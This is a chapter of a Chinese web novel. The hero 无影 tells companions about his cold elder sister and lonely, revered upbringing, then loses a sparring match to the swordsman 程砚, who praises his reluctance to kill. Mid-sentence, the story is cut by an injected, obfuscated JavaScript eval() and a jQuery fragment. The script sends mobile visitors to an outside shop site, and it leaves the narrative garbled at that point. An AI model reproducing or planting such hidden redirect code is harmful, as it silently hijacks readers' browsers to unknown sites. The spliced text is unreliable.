屋里头，只无影一个人。
他在那昏暗里头坐了一会儿，由着那翻涌的情绪，一点一点地沉淀下去。天色一分一分地暗了，那夜气重新漫上来，他周身那点散尽的暗能，也终于一丝一丝地，重新回到了身上。气力既复，那颗被「家人」二字搅乱的心，也跟着慢慢地，重新被他按回了那个不去碰，也碰不得的角落。
他到底是惯了的。这点疼，他背了不知多少年，早学会了怎么把它藏好。
他起身更衣，仔仔细细地，将那一头被睡乱的发重新束好，又换了一身干净齐整的衣裳。待他重新打理停当，方才那个失了态，软成一团的人便不见了，只余下那个清隽自持，一如往常的夜无影。他掀开门帘，走了出去。
夜色里的他，腰背挺直，步子也稳了，再不是方才那个被人随意拎起，连根手指都推不开的模样。廊下候着的几人，都迎了上来。华凝霜头一个迎上前，却没了方才那风风火火的张扬劲儿。
她搓了搓手，那一向飒爽利落的人，这会儿竟有些手足无措。她张了张嘴，半晌，才别别扭扭地开了口：
「那个……小兄弟。」她难得地放软了声气，眼神也躲闪着，不大敢看他，「方才……是姐姐我嘴上没个把门的，胡说八道，惹你不痛快了。你大人有大量，别同我这粗人一般见识。」
她憋了半天，到底没敢再提那两个字，只把那点真心实意的歉，笨拙地，全塞进了这几句话里。
「无妨。」
无影淡淡地应了一声。他本就不是个记仇的性子，那点被勾起的伤，也已自己按了回去。见华凝霜这般难得的局促，他顿了顿，到底还是开了口，反过来安慰了她一句：
「你与我长姐，很像。」
这话一出口，连他自己都微微一怔。是很像。都是这样风风火火，大大咧咧，藏不住话，又一身爽利。若说有什么不同，大约就是，他那位长姐，是会骂他的，而华凝霜不会。想起长姐叉着腰，骂他不成器的模样，他心里头那点疼，竟奇异地，掺进了一丝暖。
华凝霜没料到他不但不恼了，反倒主动同她提起了「家人」。
她先是一愣，随即心头一软，那点子愧疚里，又添了几分小心翼翼的暖意。她记着柴心方才的叮嘱，这一回是真知道了分寸，再不敢没轻没重地乱问。她拣着那最不打紧的，轻声问道：
「你长姐……是个什么样的人？」
无影难得有了几分谈兴。他抱着伞，望着那渐渐沉下来的夜色，缓缓道：
「长姐亦擅武。迟迟不肯成家。」他顿了顿，唇角几不可察地弯了弯，「性情，也是这般风风火火的。」
短短几句，那位远在永夜的长姐的模样，便在这夜风里头，隐隐约约地立了起来。一旁，柴心静静地听着。
无影是极少提起故人的。柴心跟在他身边这许多时日，这还是头一回，听他这般主动地，说起那「不在了」的家人。那护主的眉眼，不知不觉间，也柔了下来。
华凝霜听着，眼睛慢慢亮了，却又不敢笑得太张扬，只把那份难得的稀奇与亲近，都揣在了心里。她搓了搓手，到底没忍住那点好奇，又小心翼翼地，轻轻添了一句：
「擅武，又不肯嫁人，听着倒真和我是一路人。」她顿了顿，放软了声气，「那她……可疼你？」
无影想起了长姐。
在永夜的时候，长姐成日里沉迷在心网之中，与人厮杀打斗，乐此不疲。他几次三番地去寻她，换来的，多半只是一句不耐烦的「别烦我」。偶尔实在需要她，要她送他去学塾，或是带他出一趟门，她也总是骂骂咧咧的，嫌他是个甩不脱的累赘，嫌他多事。
到后来，他便也不大敢去寻她了。一回回的碰壁攒下来，那点想亲近的心思，也就慢慢学乖了，缩回了壳里。他宁可一个人闷着，也不肯再去讨那一句不耐烦的「别烦我」。
可话又说回来，便是这般冷着脸推开他的长姐，到底也是那偌大永夜里头，唯一肯分一点神，看顾他一眼的人了。那些被她嫌着，骂着的日子，竟也成了他记忆里，离「家人」二字最近的一点温热。
这些个零零碎碎的旧事，此刻一并涌上心头，他一时竟百感交集，说不清是个什么滋味。
华凝霜还等着那句「疼不疼你」的答案。
他沉默了一会儿，才轻轻地，像是说一桩与己无关的旧事一般，答道：
「应该……是觉得我烦吧。」
华凝霜万万没想到，会听到这样一个答案。她脸上那点期待的笑，霎时僵住了。无影却没瞧她的神色，只自顾自地，把那藏了许久的话，平平淡淡地说了下去：
「我是家中幼子，又生来如此。父母与两个兄长，都忙着各自的事业，腾不出手，独留了长姐看顾我。」他顿了顿，那语气里听不出什么起伏，「可长姐并不喜我。每回见着我，都嫌我多事。」
「大概……是这样吧。」
他说得轻描淡写，仿佛那只是一件再寻常不过，早就认了的事。可正是这份轻描淡写，才叫人听着，格外地不是滋味。一个生来体弱，谁都顾不上的幼子，几次三番去寻自己唯一的依靠，换来的却只有嫌弃与不耐。久而久之，连去寻一寻的勇气，都磨没了。
廊下一时静默。
柴心垂着眼，那一向冷硬的手，悄悄攥紧了几分。他原以为，无影那些「不在了」的家人，纵然天人永隔，到底也是疼过他，暖过他的。却原来，便是在他们都还在的时候，他也是这般孤孤单单地长起来的。
华凝霜那一向利索的嘴，这会儿竟一个字也说不出来了。她张了张口，满腔的话到了嘴边，却都不知如何开口，只觉心里头堵得发慌。而无影，把这些都说尽了，末了，心底深处却又冒出一个连他自己都觉着没出息的念头。
纵然如此。
他还是，很想她。
华凝霜实在听不得他方才那番话，只觉心口堵得慌。她不死心地，又追问了一句，那语气里满是期盼：
「那……总还有旁的人，是真心对你好的罢？族里头那么多人，总不至于，个个都这样？」
她是盼着，能从他嘴里，听到一个暖些的答案。无影想了想，先点了点头：
「都对我很好。很敬重。」
华凝霜刚松了口气，他却又顿了顿，慢慢地，把那后半句补了上来：
「只是……族人们各有各的考量，也各有各的事要忙。」他的声音很轻，像是在陈述一件早已习以为常的事，「我，打不得，闹不得，喜不得，哀不得。他们便只远远地看着我，就好。」
打不得，闹不得，喜不得，哀不得。
这短短几个字，叫廊下的几人都怔住了。
原来他在那永夜，是被人这般「敬重」着长大的。敬重到，没有一个人，敢真真切切地靠近他。没人能同他打闹厮缠，没人将他捧在掌心娇宠，便是他哀了，伤了，也无人敢上前来，抱一抱他。所有人都恭恭敬敬地，隔着一段远远的距离，望着他。
那是一种四面都是人，却又一个人也挨不着的处境。他立在最中央，受着满室的礼敬，也受着满室的疏远。久了，他自己也分不清，那一圈空出来的距离，究竟是旁人不敢越，还是他早已习惯了，不去指望有谁，会越过来。
那是一种被高高供奉着的，密不透风的孤独。怪不得。怪不得他这般受不得生人近身，偏又会在柴心一下一下揉着他脑袋时，悄悄红了耳尖，也不肯躲开。他想着想着，那股熟悉的刺痛，又毫无预兆地，从心口深处钻了上来。
是那道旧伤，又被勾动了。他也分不清，这翻涌上来的，究竟是那化不开的思乡，还是想起了那种被千万人敬重，却没有一个人肯靠近的，空荡荡的孤独。那刺痛一阵紧似一阵，他的脸色，倏地白了几分。
他抬起手，按住了胸口，再说不下去了。他冲华凝霜，极轻地，摇了摇头：
「别问了。」
柴心眼尖，一瞧见他捧心的动作，脸色登时就变了。他几步抢上前来，一把扶住他，那压着的嗓音里，满是惊惶：
「公子！」
华凝霜也唬了一跳，脸色骤变，急急问道：
「你这是……有心疾？」
心疾么？无影自个儿，其实也说不准这算不算。在旁人听来，捧着心口，脸色发白，又说不出话来，这自然是心疾的征兆。可他心里清楚，这不过是那暴怒发作之前，再寻常不过的一点前奏罢了。
情绪一翻涌得狠了，那心口的旧伤便先疼起来，丹田里那几道蛰伏的血纹，也跟着蠢蠢欲动。这桩古怪东西，与大夫们口中的「心疾」，大约压根不是一回事。
他摇了摇头，从齿缝里挤出那两个字：
「无碍。」
他可不愿为着这点子不争气的疼，坏了今夜的兴致。夜还长着呢。他心里头还惦记着，要去会一会这满院子里别的高手，痛痛快快地切磋上几场。夜里，才是真正属于他的时辰，这具不争气的身子，断不能在这会儿，拖了他的后腿。
他深深地吸了一口气，将那翻涌的情绪，连同那一阵阵的刺痛，一并狠狠地压了下去。果然，那疼在他这般强压之下，一点一点地，又退了回去。
只是他这一声「无碍」，半个人也没能糊弄过去。
华凝霜将信将疑，那双眼还紧紧盯着他苍白的脸色。柴心扶着他的手没松，那满眼的担忧更是半分未减，他是再清楚不过，这「无碍」二字，是最当不得真的。婉宁也不知何时凑了过来，一脸的忧色，欲言又止。
可他既铁了心说无碍，又惦记着今夜那未尽的切磋，哪里还肯乖乖回屋去歇着。他信步在那别业里转悠着，一面走，一面盘算着，今夜寻谁切磋才好。
转着转着，便转到了茶寮跟前。那位慢条斯理的程先生，正独自临窗，品着一壶热茶。无影心里那点切磋的念想一动，便上前去，向他讨了一场。他心里头却存着个念想：也不知这位慢条斯理的程先生，那一手剑法，比起他那位叶大哥来，又是个什么光景。
程砚搁下茶盏，缓缓起了身。那柄旧剑出鞘，竟也是慢吞吞的，不见半分凌厉之气，倒像是个闲人随手把玩。无影足下一点，瞬影抢攻，快如鬼魅。
可怪就怪在这儿了。无论他瞬影到哪一处，那柄慢悠悠的剑，竟总是早已候在了那里。他快，程砚慢；偏生那慢剑，总能后发，却又先至，不偏不倚地，便挡在他那必经的一线上。
他绕到程砚身后，那剑已先一步封死了后路。他欺向门户，那剑又稳稳地横在了胸前。任他瞬影得再快，绕得再刁，那周身上下，竟连半个破绽也寻不着。
这是一种说不出的别扭。又慢，又快。他那赖以纵横天下的瞬影，到了程砚这儿，头一回，竟全然使不上劲。他像是一拳一拳，尽数砸进了一团化不开的棉花里。不到三招。
那柄慢剑，轻飘飘地一旋，剑脊在他腕上不轻不重地一磕。他只觉手腕一麻，那把须臾不离手的永夜伞，竟脱了手，打着旋儿，飞了出去。他败了。败得干净利落，又莫名其妙。
自打有了这一身暗能与瞬影，他还从没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959442|210014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像今夜这般，连对方的衣角都没沾着，便稀里糊涂地丢了伞。那些个先天高手，纵是要赢他，也得实实在在同他过上几十招。可程砚这慢吞吞的三剑，却像是早把他每一步都看了个透，任他再快，也快不过那一个「等」字。
他怔在原地，望着那落了地的伞，又望了望气定神闲，慢慢收剑入鞘的程砚，一时间，那点不服输的恼，竟全被一股巨大的好奇压了下去。他忍不住开口问他：
「你是怎么做到的？」
程砚将那旧剑往案上一搁，重又端起了茶盏，淡淡一笑。
「其一，你打斗的经验，太少了。」他呷了口茶，慢条斯理地说，「你这一身本事，快是真快，狠是真狠，可全凭着一股子天生的灵气，不曾在真正的生死场上磨过。花架子虽好，却经不起细看。」
他抬起眼，那淡泊的目光在无影身上一转，说出了第二桩，也是最要紧的一桩：
「其二，你出招的时候，没有杀意。」
「真正的高手过招，争的不只是个快慢。」他缓缓道，「那一线生死之间，凭的是那一缕取人性命的狠意。可你呢，每一招递出来，都干干净净的，半分要伤人，要取人性命的意思也无。你不想伤人，老夫便看得出你这一剑要往哪儿落，又会在哪儿收。招式再快，也吓不住人。」
无影歪了歪头，足尖一点，飘过去把那落地的永夜伞捡了回来，重又抱回怀里。他不大服气，反驳道：
「可这只是切磋，何必伤人？」
说完，他像是觉着这话还不够，又壮着胆子，给自己添了一句：
「而且，我……我也是取过人性命的。」
这话一出口，那段他拼命想忘却的记忆，却不受控制地，翻涌了上来。那个掳了他去的邪教，那座阴森的高坛，还有那坛上，被他一口咬下去的尊上……那血的腥气，那入口的……不行。
他心头猛地一阵翻搅，喉间泛起一股压不住的恶心，慌忙把那段记忆，硬生生地掐断了。再想下去，怕是当场就要吐出来。他的脸色，不自觉地又白了一分。程砚将他这副模样，尽收眼底。他头一句话，程砚只温和地笑了笑。
「切磋自然不必见血。老夫说的杀意，也不是要你真去伤谁的性命。」他缓声道，「那是你出手那一瞬，心里头那一点『这一招，我定要制住你』的决意。你连这点子决意都没有，招式递出来，便是飘的，没有根，自然也就唬不住人。」
可他那第二句话，连同他说这话时，那强撑着，随即又泛起的惨白与作呕，却叫程砚心头微微一动。他便什么都明白了。这孩子，是杀过人的。只是那一回，怕是把他自己，也一并伤得不轻。
「老夫信你。」他没有去追问那段叫无影作呕的旧事，只是看他的目光，柔和了许多，「只是，取人性命，与心怀杀意，原是两码事。」
「这世上有的人，杀过千百条性命，下手时眉头都不曾皱一下。」他顿了顿，那淡泊的眼里，是一种看透了的悲悯，「也有的人，纵是逼不得已取了人的命，那一下落下去，却是连自己的魂魄，都一并剜去了半条。」
「你，是后者。」
他重又端起茶盏，淡淡道：
「下不去这个狠心，不是你的弱处。能耐越大，越是难得。」
无影抱着伞，怔怔地听着，一时没有作声。
长这么大，他那点下不去手的软，向来是被人当作毛病的。是他不成器的又一桩凭据，是连他自己都觉着该改，该硬起来的短处。他从没想过，这桩压在心底多年的短处，到了程砚嘴里，竟会翻成一个「难得」。
「我只是觉得……」
无影迟疑了一下，到底还是把那个一直深藏在心底的念头，在程砚面前，又一次说出了口。
这念头，他是从来不敢轻易示人的。这世道太狠，杀来杀去，掳来掠去，他这点想头太软，太天真，说出来，多半是要叫人笑话的。
他也不是没动过倾吐的念头。可每每话到嘴边，想想旁人那必定要露出来的，或讥诮或不解的神色，便又把它咽了回去，独自揣着。揣得久了，那点念想竟成了个见不得人的私心，只敢在夜深无人时，自己拿出来掂一掂，再仔仔细细地，收回心底去。
可程砚方才那一番话，不知怎的，竟叫他卸下了几分防备。他抱着伞，轻声道：
「……各人都好好的，不好吗？」
谁也不必去伤谁，谁也不必去杀谁，各自安安稳稳地，把日子过下去。这样，难道不好吗？话一出口，他便有些局促了，下意识地缩了缩，像是已做好了被笑话的准备。程砚果然，轻轻地笑了一声。
无影心里「咯噔」一下。果然。程先生大约也同旁人一样，觉得他这想头，幼稚得很罢。
可他接下来的话，却出乎了意料。
「天真么？」程砚望着那一盏茶里头浮沉的茶叶，慢悠悠地，像是在同他说，又像是在同自己说，「老夫年轻的时候，也是这般想过的。」
他抬起眼，那淡泊的眼底，掠过一丝无影看不分明的，悠远的怅惘。
「只是这世道，总有的是法子，把人心里头这点子念想，一点一点地，磨干净。磨到后来，还肯这么想的人，便没几个了。」他顿了顿，看他的目光里，多了几分郑重，「你这般大的本事，走到今日，见过的腌臜血腥，想必也不在少数。可你心里头，竟还肯留着这么一句『各人都好好的』。」
「这不叫天真。」他缓缓道，一字一句，「这叫难得。这点念想，你往后，可得替自己，好好藏着。」